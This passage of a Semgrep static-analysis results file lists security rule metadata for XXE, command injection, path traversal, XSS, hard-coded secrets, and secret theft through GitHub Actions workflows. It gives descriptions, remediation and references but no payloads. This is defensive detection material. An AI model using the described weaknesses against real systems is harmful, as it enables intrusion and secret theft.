[Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe","id":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","name":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec)\n - [https://www.stackhawk.com/blog/php-command-injection/](https://www.stackhawk.com/blog/php-command-injection/)\n - [https://brightsec.com/blog/code-injection-php/](https://brightsec.com/blog/code-injection-php/)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec","id":"php.lang.security.tainted-exec.tainted-exec","name":"php.lang.security.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"help":{"markdown":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations](https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object](https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object)\n - [https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range](https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range)\n","text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","id":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","name":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"help":{"markdown":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","id":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","name":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting","id":"java.servlets.security.audit.url-rewriting.url-rewriting","name":"java.servlets.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n","text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","id":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","name":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","id":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","name":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","id":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","name":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://certificate.transparency.dev/](https://certificate.transparency.dev/)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct","id":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","name":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-ct.ATS-consider-ct"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","id":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","name":"python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-system-call.dangerous-system-call","id":"python.lang.security.dangerous-system-call.dangerous-system-call","name":"python.lang.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe-parameter-entity.saxparserfactory-xxe-parameter-entity)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against all types of XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` 